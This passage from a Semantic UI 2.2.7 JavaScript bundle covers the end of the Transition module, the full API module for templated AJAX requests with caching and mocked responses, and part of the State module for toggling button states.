module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, // modified for transition to return invoke success invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return (found !== undefined) ? found : false ; } }; module.initialize(); }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; // Records if CSS transition is available $.fn.transition.exists = {}; $.fn.transition.settings = { // module info name : 'Transition', // hide all output from this component regardless of other settings silent : false, // debug content outputted to console debug : false, // verbose debug output verbose : false, // performance data output performance : true, // event namespace namespace : 'transition', // delay between animations in group interval : 0, // whether group animations should be reversed reverse : 'auto', // animation callback event onStart : function() {}, onComplete : function() {}, onShow : function() {}, onHide : function() {}, // whether timeout should be used to ensure callback fires in cases animationend does not useFailSafe : true, // delay in ms for fail safe failSafeDelay : 100, // whether EXACT animation can occur twice in a row allowRepeats : false, // Override final display type on visible displayType : false, // animation duration animation : 'fade', duration : false, // new animations will occur after previous ones queue : true, metadata : { displayType: 'display' }, className : { animating : 'animating', disabled : 'disabled', hidden : 'hidden', inward : 'in', loading : 'loading', looping : 'looping', outward : 'out', transition : 'transition', visible : 'visible' }, // possible errors error: { noAnimation : 'Element is no longer attached to DOM. Unable to animate. Use silent setting to surpress this warning in production.', repeated : 'That animation is already occurring, cancelling repeated animation', method : 'The method you called is not defined', support : 'This browser does not support CSS animations' } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - API * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; var window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.api = $.fn.api = function(parameters) { var // use window context if none specified $allModules = $.isFunction(this) ? $(window) : $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.api.settings, parameters) : $.extend({}, $.fn.api.settings), // internal aliases namespace = settings.namespace, metadata = settings.metadata, selector = settings.selector, error = settings.error, className = settings.className, // define namespaces for modules eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, // element that creates request $module = $(this), $form = $module.closest(selector.form), // context used for state $context = (settings.stateContext) ? $(settings.stateContext) : $module, // request details ajaxSettings, requestSettings, url, data, requestStartTime, // standard module element = this, context = $context[0], instance = $module.data(moduleNamespace), module ; module = { initialize: function() { if(!methodInvoked) { module.bind.events(); } module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, instance) ; }, destroy: function() { module.verbose('Destroying previous module for', element); $module .removeData(moduleNamespace) .off(eventNamespace) ; }, bind: { events: function() { var triggerEvent = module.get.event() ; if( triggerEvent ) { module.verbose('Attaching API events to element', triggerEvent); $module .on(triggerEvent + eventNamespace, module.event.trigger) ; } else if(settings.on == 'now') { module.debug('Querying API endpoint immediately'); module.query(); } } }, decode: { json: function(response) { if(response !== undefined && typeof response == 'string') { try { response = JSON.parse(response); } catch(e) { // isnt json string } } return response; } }, read: { cachedResponse: function(url) { var response ; if(window.Storage === undefined) { module.error(error.noStorage); return; } response = sessionStorage.getItem(url); module.debug('Using cached response', url, response); response = module.decode.json(response); return response; } }, write: { cachedResponse: function(url, response) { if(response && response === '') { module.debug('Response empty, not caching', response); return; } if(window.Storage === undefined) { module.error(error.noStorage); return; } if( $.isPlainObject(response) ) { response = JSON.stringify(response); } sessionStorage.setItem(url, response); module.verbose('Storing cached response for url', url, response); } }, query: function() { if(module.is.disabled()) { module.debug('Element is disabled API request aborted'); return; } if(module.is.loading()) { if(settings.interruptRequests) { module.debug('Interrupting previous request'); module.abort(); } else { module.debug('Cancelling request, previous request is still pending'); return; } } // pass element metadata to url (value, text) if(settings.defaultData) { $.extend(true, settings.urlData, module.get.defaultData()); } // Add form content if(settings.serializeForm) { settings.data = module.add.formData(settings.data); } // call beforesend and get any settings changes requestSettings = module.get.settings(); // check if before send cancelled request if(requestSettings === false) { module.cancelled = true; module.error(error.beforeSend); return; } else { module.cancelled = false; } // get url url = module.get.templatedURL(); if(!url && !module.is.mocked()) { module.error(error.missingURL); return; } // replace variables url = module.add.urlData( url ); // missing url parameters if( !url && !module.is.mocked()) { return; } requestSettings.url = settings.base + url; // look for jQuery ajax parameters in settings ajaxSettings = $.extend(true, {}, settings, { type : settings.method || settings.type, data : data, url : settings.base + url, beforeSend : settings.beforeXHR, success : function() {}, failure : function() {}, complete : function() {} }); module.debug('Querying URL', ajaxSettings.url); module.verbose('Using AJAX settings', ajaxSettings); if(settings.cache === 'local' && module.read.cachedResponse(url)) { module.debug('Response returned from local cache'); module.request = module.create.request(); module.request.resolveWith(context, [ module.read.cachedResponse(url) ]); return; } if( !settings.throttle ) { module.debug('Sending request', data, ajaxSettings.method); module.send.request(); } else { if(!settings.throttleFirstRequest && !module.timer) { module.debug('Sending request', data, ajaxSettings.method); module.send.request(); module.timer = setTimeout(function(){}, settings.throttle); } else { module.debug('Throttling request', settings.throttle); clearTimeout(module.timer); module.timer = setTimeout(function() { if(module.timer) { delete module.timer; } module.debug('Sending throttled request', data, ajaxSettings.method); module.send.request(); }, settings.throttle); } } }, should: { removeError: function() { return ( settings.hideError === true || (settings.hideError === 'auto' && !module.is.form()) ); } }, is: { disabled: function() { return ($module.filter(selector.disabled).length > 0); }, expectingJSON: function() { return settings.dataType === 'json' || settings.dataType === 'jsonp'; }, form: function() { return $module.is('form') || $context.is('form'); }, mocked: function() { return (settings.mockResponse || settings.mockResponseAsync || settings.response || settings.responseAsync); }, input: function() { return $module.is('input'); }, loading: function() { return (module.request) ? (module.request.state() == 'pending') : false ; }, abortedRequest: function(xhr) { if(xhr && xhr.readyState !== undefined && xhr.readyState === 0) { module.verbose('XHR request determined to be aborted'); return true; } else { module.verbose('XHR request was not aborted'); return false; } }, validResponse: function(response) { if( (!module.is.expectingJSON()) || !$.isFunction(settings.successTest) ) { module.verbose('Response is not JSON, skipping validation', settings.successTest, response); return true; } module.debug('Checking JSON returned success', settings.successTest, response); if( settings.successTest(response) ) { module.debug('Response passed success test', response); return true; } else { module.debug('Response failed success test', response); return false; } } }, was: { cancelled: function() { return (module.cancelled || false); }, succesful: function() { return (module.request && module.request.state() == 'resolved'); }, failure: function() { return (module.request && module.request.state() == 'rejected'); }, complete: function() { return (module.request && (module.request.state() == 'resolved' || module.request.state() == 'rejected') ); } }, add: { urlData: function(url, urlData) { var requiredVariables, optionalVariables ; if(url) { requiredVariables = url.match(settings.regExp.required); optionalVariables = url.match(settings.regExp.optional); urlData = urlData || settings.urlData; if(requiredVariables) { module.debug('Looking for required URL variables', requiredVariables); $.each(requiredVariables, function(index, templatedString) { var // allow legacy {$var} style variable = (templatedString.indexOf('$') !== -1) ? templatedString.substr(2, templatedString.length - 3) : templatedString.substr(1, templatedString.length - 2), value = ($.isPlainObject(urlData) && urlData[variable] !== undefined) ? urlData[variable] : ($module.data(variable) !== undefined) ? $module.data(variable) : ($context.data(variable) !== undefined) ? $context.data(variable) : urlData[variable] ; // remove value if(value === undefined) { module.error(error.requiredParameter, variable, url); url = false; return false; } else { module.verbose('Found required variable', variable, value); value = (settings.encodeParameters) ? module.get.urlEncodedValue(value) : value ; url = url.replace(templatedString, value); } }); } if(optionalVariables) { module.debug('Looking for optional URL variables', requiredVariables); $.each(optionalVariables, function(index, templatedString) { var // allow legacy {/$var} style variable = (templatedString.indexOf('$') !== -1) ? templatedString.substr(3, templatedString.length - 4) : templatedString.substr(2, templatedString.length - 3), value = ($.isPlainObject(urlData) && urlData[variable] !== undefined) ? urlData[variable] : ($module.data(variable) !== undefined) ? $module.data(variable) : ($context.data(variable) !== undefined) ? $context.data(variable) : urlData[variable] ; // optional replacement if(value !== undefined) { module.verbose('Optional variable Found', variable, value); url = url.replace(templatedString, value); } else { module.verbose('Optional variable not found', variable); // remove preceding slash if set if(url.indexOf('/' + templatedString) !== -1) { url = url.replace('/' + templatedString, ''); } else { url = url.replace(templatedString, ''); } } }); } } return url; }, formData: function(data) { var canSerialize = ($.fn.serializeObject !== undefined), formData = (canSerialize) ? $form.serializeObject() : $form.serialize(), hasOtherData ; data = data || settings.data; hasOtherData = $.isPlainObject(data); if(hasOtherData) { if(canSerialize) { module.debug('Extending existing data with form data', data, formData); data = $.extend(true, {}, data, formData); } else { module.error(error.missingSerialize); module.debug('Cant extend data. Replacing data with form data', data, formData); data = formData; } } else { module.debug('Adding form data', formData); data = formData; } return data; } }, send: { request: function() { module.set.loading(); module.request = module.create.request(); if( module.is.mocked() ) { module.mockedXHR = module.create.mockedXHR(); } else { module.xhr = module.create.xhr(); } settings.onRequest.call(context, module.request, module.xhr); } }, event: { trigger: function(event) { module.query(); if(event.type == 'submit' || event.type == 'click') { event.preventDefault(); } }, xhr: { always: function() { // nothing special }, done: function(response, textStatus, xhr) { var context = this, elapsedTime = (new Date().getTime() - requestStartTime), timeLeft = (settings.loadingDuration - elapsedTime), translatedResponse = ( $.isFunction(settings.onResponse) ) ? module.is.expectingJSON() ? settings.onResponse.call(context, $.extend(true, {}, response)) : settings.onResponse.call(context, response) : false ; timeLeft = (timeLeft > 0) ? timeLeft : 0 ; if(translatedResponse) { module.debug('Modified API response in onResponse callback', settings.onResponse, translatedResponse, response); response = translatedResponse; } if(timeLeft > 0) { module.debug('Response completed early delaying state change by', timeLeft); } setTimeout(function() { if( module.is.validResponse(response) ) { module.request.resolveWith(context, [response, xhr]); } else { module.request.rejectWith(context, [xhr, 'invalid']); } }, timeLeft); }, fail: function(xhr, status, httpMessage) { var context = this, elapsedTime = (new Date().getTime() - requestStartTime), timeLeft = (settings.loadingDuration - elapsedTime) ; timeLeft = (timeLeft > 0) ? timeLeft : 0 ; if(timeLeft > 0) { module.debug('Response completed early delaying state change by', timeLeft); } setTimeout(function() { if( module.is.abortedRequest(xhr) ) { module.request.rejectWith(context, [xhr, 'aborted', httpMessage]); } else { module.request.rejectWith(context, [xhr, 'error', status, httpMessage]); } }, timeLeft); } }, request: { done: function(response, xhr) { module.debug('Successful API Response', response); if(settings.cache === 'local' && url) { module.write.cachedResponse(url, response); module.debug('Saving server response locally', module.cache); } settings.onSuccess.call(context, response, $module, xhr); }, complete: function(firstParameter, secondParameter) { var xhr, response ; // have to guess callback parameters based on request success if( module.was.succesful() ) { response = firstParameter; xhr = secondParameter; } else { xhr = firstParameter; response = module.get.responseFromXHR(xhr); } module.remove.loading(); settings.onComplete.call(context, response, $module, xhr); }, fail: function(xhr, status, httpMessage) { var // pull response from xhr if available response = module.get.responseFromXHR(xhr), errorMessage = module.get.errorFromRequest(response, status, httpMessage) ; if(status == 'aborted') { module.debug('XHR Aborted (Most likely caused by page navigation or CORS Policy)', status, httpMessage); settings.onAbort.call(context, status, $module, xhr); return true; } else if(status == 'invalid') { module.debug('JSON did not pass success test. A server-side error has most likely occurred', response); } else if(status == 'error') { if(xhr !== undefined) { module.debug('XHR produced a server error', status, httpMessage); // make sure we have an error to display to console if( xhr.status != 200 && httpMessage !== undefined && httpMessage !== '') { module.error(error.statusMessage + httpMessage, ajaxSettings.url); } settings.onError.call(context, errorMessage, $module, xhr); } } if(settings.errorDuration && status !== 'aborted') { module.debug('Adding error state'); module.set.error(); if( module.should.removeError() ) { setTimeout(module.remove.error, settings.errorDuration); } } module.debug('API Request failed', errorMessage, xhr); settings.onFailure.call(context, response, $module, xhr); } } }, create: { request: function() { // api request promise return $.Deferred() .always(module.event.request.complete) .done(module.event.request.done) .fail(module.event.request.fail) ; }, mockedXHR: function () { var // xhr does not simulate these properties of xhr but must return them textStatus = false, status = false, httpMessage = false, responder = settings.mockResponse || settings.response, asyncResponder = settings.mockResponseAsync || settings.responseAsync, asyncCallback, response, mockedXHR ; mockedXHR = $.Deferred() .always(module.event.xhr.complete) .done(module.event.xhr.done) .fail(module.event.xhr.fail) ; if(responder) { if( $.isFunction(responder) ) { module.debug('Using specified synchronous callback', responder); response = responder.call(context, requestSettings); } else { module.debug('Using settings specified response', responder); response = responder; } // simulating response mockedXHR.resolveWith(context, [ response, textStatus, { responseText: response }]); } else if( $.isFunction(asyncResponder) ) { asyncCallback = function(response) { module.debug('Async callback returned response', response); if(response) { mockedXHR.resolveWith(context, [ response, textStatus, { responseText: response }]); } else { mockedXHR.rejectWith(context, [{ responseText: response }, status, httpMessage]); } }; module.debug('Using specified async response callback', asyncResponder); asyncResponder.call(context, requestSettings, asyncCallback); } return mockedXHR; }, xhr: function() { var xhr ; // ajax request promise xhr = $.ajax(ajaxSettings) .always(module.event.xhr.always) .done(module.event.xhr.done) .fail(module.event.xhr.fail) ; module.verbose('Created server request', xhr, ajaxSettings); return xhr; } }, set: { error: function() { module.verbose('Adding error state to element', $context); $context.addClass(className.error); }, loading: function() { module.verbose('Adding loading state to element', $context); $context.addClass(className.loading); requestStartTime = new Date().getTime(); } }, remove: { error: function() { module.verbose('Removing error state from element', $context); $context.removeClass(className.error); }, loading: function() { module.verbose('Removing loading state from element', $context); $context.removeClass(className.loading); } }, get: { responseFromXHR: function(xhr) { return $.isPlainObject(xhr) ? (module.is.expectingJSON()) ? module.decode.json(xhr.responseText) : xhr.responseText : false ; }, errorFromRequest: function(response, status, httpMessage) { return ($.isPlainObject(response) && response.error !== undefined) ? response.error // use json error message : (settings.error[status] !== undefined) // use server error message ? settings.error[status] : httpMessage ; }, request: function() { return module.request || false; }, xhr: function() { return module.xhr || false; }, settings: function() { var runSettings ; runSettings = settings.beforeSend.call(context, settings); if(runSettings) { if(runSettings.success !== undefined) { module.debug('Legacy success callback detected', runSettings); module.error(error.legacyParameters, runSettings.success); runSettings.onSuccess = runSettings.success; } if(runSettings.failure !== undefined) { module.debug('Legacy failure callback detected', runSettings); module.error(error.legacyParameters, runSettings.failure); runSettings.onFailure = runSettings.failure; } if(runSettings.complete !== undefined) { module.debug('Legacy complete callback detected', runSettings); module.error(error.legacyParameters, runSettings.complete); runSettings.onComplete = runSettings.complete; } } if(runSettings === undefined) { module.error(error.noReturnedValue); } if(runSettings === false) { return runSettings; } return (runSettings !== undefined) ? $.extend(true, {}, runSettings) : $.extend(true, {}, settings) ; }, urlEncodedValue: function(value) { var decodedValue = window.decodeURIComponent(value), encodedValue = window.encodeURIComponent(value), alreadyEncoded = (decodedValue !== value) ; if(alreadyEncoded) { module.debug('URL value is already encoded, avoiding double encoding', value); return value; } module.verbose('Encoding value using encodeURIComponent', value, encodedValue); return encodedValue; }, defaultData: function() { var data = {} ; if( !$.isWindow(element) ) { if( module.is.input() ) { data.value = $module.val(); } else if( module.is.form() ) { } else { data.text = $module.text(); } } return data; }, event: function() { if( $.isWindow(element) || settings.on == 'now' ) { module.debug('API called without element, no events attached'); return false; } else if(settings.on == 'auto') { if( $module.is('input') ) { return (element.oninput !== undefined) ? 'input' : (element.onpropertychange !== undefined) ? 'propertychange' : 'keyup' ; } else if( $module.is('form') ) { return 'submit'; } else { return 'click'; } } else { return settings.on; } }, templatedURL: function(action) { action = action || $module.data(metadata.action) || settings.action || false; url = $module.data(metadata.url) || settings.url || false; if(url) { module.debug('Using specified url', url); return url; } if(action) { module.debug('Looking up url for action', action, settings.api); if(settings.api[action] === undefined && !module.is.mocked()) { module.error(error.missingAction, settings.action, settings.api); return; } url = settings.api[action]; } else if( module.is.form() ) { url = $module.attr('action') || $context.attr('action') || false; module.debug('No url or action specified, defaulting to form action', url); } return url; } }, abort: function() { var xhr = module.get.xhr() ; if( xhr && xhr.state() !== 'resolved') { module.debug('Cancelling API request'); xhr.abort(); } }, // reset state reset: function() { module.remove.error(); module.remove.loading(); }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', //'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.api.settings = { name : 'API', namespace : 'api', debug : false, verbose : false, performance : true, // object containing all templates endpoints api : {}, // whether to cache responses cache : true, // whether new requests should abort previous requests interruptRequests : true, // event binding on : 'auto', // context for applying state classes stateContext : false, // duration for loading state loadingDuration : 0, // whether to hide errors after a period of time hideError : 'auto', // duration for error state errorDuration : 2000, // whether parameters should be encoded with encodeURIComponent encodeParameters : true, // API action to use action : false, // templated URL to use url : false, // base URL to apply to all endpoints base : '', // data that will urlData : {}, // whether to add default data to url data defaultData : true, // whether to serialize closest form serializeForm : false, // how long to wait before request should occur throttle : 0, // whether to throttle first request or only repeated throttleFirstRequest : true, // standard ajax settings method : 'get', data : {}, dataType : 'json', // mock response mockResponse : false, mockResponseAsync : false, // aliases for mock response : false, responseAsync : false, // callbacks before request beforeSend : function(settings) { return settings; }, beforeXHR : function(xhr) {}, onRequest : function(promise, xhr) {}, // after request onResponse : false, // function(response) { }, // response was successful, if JSON passed validation onSuccess : function(response, $module) {}, // request finished without aborting onComplete : function(response, $module) {}, // failed JSON success test onFailure : function(response, $module) {}, // server error onError : function(errorMessage, $module) {}, // request aborted onAbort : function(errorMessage, $module) {}, successTest : false, // errors error : { beforeSend : 'The before send function has aborted the request', error : 'There was an error with your request', exitConditions : 'API Request Aborted. Exit conditions met', JSONParse : 'JSON could not be parsed during error handling', legacyParameters : 'You are using legacy API success callback names', method : 'The method you called is not defined', missingAction : 'API action used but no url was defined', missingSerialize : 'jquery-serialize-object is required to add form data to an existing data object', missingURL : 'No URL specified for api event', noReturnedValue : 'The beforeSend callback must return a settings object, beforeSend ignored.', noStorage : 'Caching responses locally requires session storage', parseError : 'There was an error parsing your request', requiredParameter : 'Missing a required URL parameter: ', statusMessage : 'Server gave an error: ', timeout : 'Your request timed out' }, regExp : { required : /\{\$*[A-z0-9]+\}/g, optional : /\{\/\$*[A-z0-9]+\}/g, }, className: { loading : 'loading', error : 'error' }, selector: { disabled : '.disabled', form : 'form' }, metadata: { action : 'action', url : 'url' } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - State * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.state = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', hasTouch = ('ontouchstart' in document.documentElement), time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.state.settings, parameters) : $.extend({}, $.fn.state.settings), error = settings.error, metadata = settings.metadata, className = settings.className, namespace = settings.namespace, states = settings.states, text = settings.text, eventNamespace = '.' + namespace, moduleNamespace = namespace + '-module', $module = $(this), element = this, instance = $module.data(moduleNamespace), module ; module = { initialize: function() { module.verbose('Initializing module'); // allow module to guess desired state based on element if(settings.automatic) { module.add.defaults(); } // bind events with delegated events if(settings.context && moduleSelector !== '') { $(settings.context) .on(moduleSelector, 'mouseenter' + eventNamespace, module.change.text) .on(moduleSelector, 'mouseleave' + eventNamespace, module.reset.text) .on(moduleSelector, 'click' + eventNamespace, module.toggle.state) ; } else { $module .on('mouseenter' + eventNamespace, module.change.text) .on('mouseleave' + eventNamespace, module.reset.text) .on('click' + eventNamespace, module.toggle.state) ; } module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous module', instance); $module .off(eventNamespace) .removeData(moduleNamespace) ; }, refresh: function() { module.verbose('Refreshing selector cache'); $module = $(element); }, add: { defaults: function() { var userStates = parameters && $.isPlainObject(parameters.states) ? parameters.states : {} ; $.each(settings.defaults, function(type, typeStates) { if( module.is[type] !== undefined && module.is[type]() ) { module.verbose('Adding default states', type, element); $.extend(settings.states, typeStates, userStates); } }); } }, is: { active: function() { return $module.hasClass(className.active); }, loading: function() { return $module.hasClass(className.loading); }, inactive: function() { return !( $module.hasClass(className.active) ); }, state: function(state) { if(className[state] === undefined) { return false; } return $module.hasClass( className[state] ); }, enabled: function() { return !( $module.is(settings.filter.active) ); }, disabled: function() { return ( $module.is(settings.filter.active) ); }, textEnabled: function() { return !( $module.is(settings.filter.text) ); }, // definitions for automatic type detection button: function() { return $module.is('.button:not(a, .submit)'); }, input: function() { return $module.is('input'); }, progress: function() { return $module.is('.ui.progress'); } }, allow: function(state) { module.debug('Now allowing state', state); states[state] = true; }, disallow: function(state) { module.debug('No longer allowing', state); states[state] = false; }, allows: function(state) { return states[state] || false; }, enable: function() { $module.removeClass(className.disabled); }, disable: function() { $module.addClass(className.disabled); }, setState: function(state) { if(module.allows(state)) { $module.addClass( className[state] ); } }, removeState: function(state) { if(module.allows(state)) { $module.removeClass( className[state] ); } }, toggle: { state: function() { var apiRequest, requestCancelled ; if( module.allows('active') && module.is.enabled() ) { module.refresh(); if($.fn.api !== undefined) { apiRequest = $module.api('get request'); requestCancelled = $module.api('was cancelled'); if( requestCancelled ) { module.debug('API Request cancelled by beforesend'); settings.activateTest = function(){ return false; }; settings.deactivateTest = function(){ return false; }; } else if(apiRequest) { module.listenTo(apiRequest); return; } } module.change.state(); } } }, listenTo: function(apiRequest) { module.debug('API request detected, waiting for state signal', apiRequest); if(apiRequest) { if(text.loading) { module.update.text(text.loading); } $.when(apiRequest) .then(function() { if(apiRequest.state() == 'resolved') { module.debug('API request succeeded'); settings.activateTest = function(){ return true; }; settings.deactivateTest = function(){ return true; }; } else { module.debug('API request failed'); settings.activateTest = function(){ return false; }; settings.deactivateTest = function(){ return false; }; } module.change.state(); }) ; } }, // checks whether active/inactive state can be given change: { state: function() { module.debug('Determining state change direction'); // inactive to active change if( module.is.inactive() ) { module.activate(); } else { module.deactivate(); } if(settings.sync) { module.sync(); } settings.onChange.call(element); }, text: function() { if( module.is.textEnabled() ) { if(module.is.disabled() ) { module.verbose('Changing text to disabled text', text.hover); module.update.text(text.disabled); } else if( module.is.active() ) { if(text.hover) { module.verbose('Changing text to hover text', text.hover); module.update.text(text.hover); } else if(text.deactivate) { module.verbose('Changing text to deactivating text', text.deactivate); module.update.text(text.deactivate); } } else { if(text.hover) { module.verbose('Changing text to hover text', text.hover); module.update.text(text.hover); } else if(text.activate){ module.verbose('Changing text to activating text', text.activate); module.update.text(text.activate); } } } } }, activate: function() { if( settings.activateTest.call(element) ) { module.debug('Setting state to active'); $module .addClass(className.active) ; module.update.text(text.active); settings.onActivate.call(element); } }, deactivate: function() { if( settings.deactivateTest.call(element) ) { module.debug('Setting state to inactive'); $module .removeClass(className.active) ; module.update.text(text.inactive); settings.onDeactivate.call(element); } }, sync: function() { module.verbose('Syncing other buttons to current state'); if( module.is.active() ) { $allModules .not($module) .state('activate'); } else { $allModules .not($module) .state('deactivate') ; } }, get: { text: function() { return (settings.selector.text) ? $module.find(settings.selector.text).text() : $module.html() ; }, textFor: function(state) { return text[state] || false; } }, flash: { text: function(text, duration, callback) { var previousText = module.get.text() ; module.debug('Flashing text message', text, duration); text = text || settings.text.flash; duration = duration || settings.flashDuration; callback = callback || function() {}; module.update.text(text); setTimeout(function(){ module.update.text(previousText); callback.call(element); }, duration); } }, reset: { // on mouseout sets text to previous value text: function() { var activeText = text.active || $module.data(metadata.storedText), inactiveText = text.inactive || $module.data(metadata.storedText) ; if( module.is.textEnabled() ) { if( module.is.active() && activeText) { module.verbose('Resetting active text', activeText); module.update.text(activeText); } else if(inactiveText) { module.verbose('Resetting inactive text', activeText); module.update.text(inactiveText); } } } }, update: { text: function(text) { var currentText = module.get.text() ; if(text && text !== currentText) { module.debug('Updating text', text); if(settings.selector.text) { $module .data(metadata.storedText, text) .find(settings.selector.text) .text(text) ; } else { $module .data(metadata.storedText, text) .html(text) ; } } else { module.debug('Text is already set, ignoring update', text); } } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time 